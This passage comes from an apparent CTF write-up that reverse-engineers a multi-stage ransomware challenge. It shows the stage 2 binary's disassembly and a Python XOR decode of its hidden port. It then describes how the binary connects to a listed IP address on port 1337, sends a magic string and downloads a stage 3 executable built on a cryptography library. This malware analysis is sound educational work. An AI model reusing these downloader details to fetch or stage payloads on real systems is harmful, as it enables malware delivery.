  • 0x406a8f, which points to a function at 0x407254 which calls SetUnhandledExceptionFilter and overrides the exception handler for the program with a function at 0x407260. This is somewhat interesting, but not really relevant to the port number setup function.
  • 0x401000, which is where our port number setup function was!

So we set up our port number during program initialization, and put the address of that port number string into 0x40a3f8. However, it seems that later on in the program execution, that location is somehow overwritten with an invalid value.

Now that we know when this code is run, let’s reverse it to get the port number out! The assembly here is fairly simple - it’s just an xor between 2 values, which we can easily reproduce in Python:

;-- section..text:
0x00401000      push ebp           ; [00] -r-x section size 28672 named .text
0x00401001      mov ebp, esp
0x00401003      and esp, 0xfffffff0
0x00401006      sub esp, 0x20
0x00401009      mov dword [esp], 0xb9306f24
0x00401010      lea eax, [esp]
0x00401013      mov dword [esp + 4], 0xa22767d7
0x0040101b      mov dword [esp + 8], 0xcd82d7c6
0x00401023      mov dword [esp + 0xc], 0x2bbfde5a
0x0040102b      mov dword [esp + 0x10], 0x8e035c15
0x00401033      mov dword [esp + 0x14], 0xa22767d7
0x0040103b      mov dword [esp + 0x18], 0xcd82d7c6
0x00401043      mov dword [esp + 0x1c], 0x2bbfde5a
0x0040104b      movaps xmm1, xmmword [esp + 0x10]
0x00401050      pxor xmm1, xmmword [esp]
0x00401055      movaps xmmword [esp], xmm1
0x00401059      mov dword [0x40a3f8], eax
0x0040105e      mov esp, ebp
0x00401060      pop ebp
data_buf = p32(0xb9306f24) + p32(0xa22767d7) + p32(0xcd82d7c6) + p32(0x2bbfde5a) # [esp] to [esp + 0x10]
key = p32(0x8e035c15) + p32(0xa22767d7) + p32(0xcd82d7c6) + p32(0x2bbfde5a) # [esp + 0x10] to [esp + 0x1f]
print(xor(data_buf, key))

This gives us b'1337\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00', or port 1337!

Getting the stage 3 binary #

We have a pretty good idea of what the stage 2 binary is doing now:

  • Make a TCP connection to 35.241.159.62 port 1337.
  • Send the string KADMKLAFD:LSM$OPM@FLK:FM!N$@N$ over the connection.
  • Receive some data into a buffer, 0x400 bytes at a time, to a maximum length of 0x6b200 bytes.

We can write a simple Python script which does the same thing. (I won’t include one here, since my script was almost exactly the same as the one in ret2school’s writeup. If we write the received data to a file and open it up in Cutter, we can see that the downloaded file is yet another executable! (Again, if you’re following along, you can download the file (stage3.exe) from my repository for this writeup.)

The good news is that the downloaded binary actually has symbols in it that look like they’re from a C++ cryptography library, CryptoPP, which means (hopefully) that this is the stage of our ransomware which actually does what ransomware normally does: encrypt your files. The bad news is that it looks like this library has quite a deep inheritance tree with many subclasses which share the same functions from the parent class, which may take a while to reverse as we sort out how the library is actually used.

We can see the ridiculous levels of dynamic dispatch here from Cutter helpfully walking through the C++ inheritance trees for us and placing, next to each function, all the symbol names that eventually resolve to that function, leading to some functions which are shared by many classes that look like this:

All annotated CryptoPP symbol names on a single function

Conclusion #

Next time in Part B of this writeup, we’ll dive into the Stage 3 binary, figure out how it’s encrypting the files it’s provided, and figuring out how to get the original information back.

Please leave a comment below if you have questions about the post or corrections to make about anything I wrote here. Stay tuned, and thanks for reading!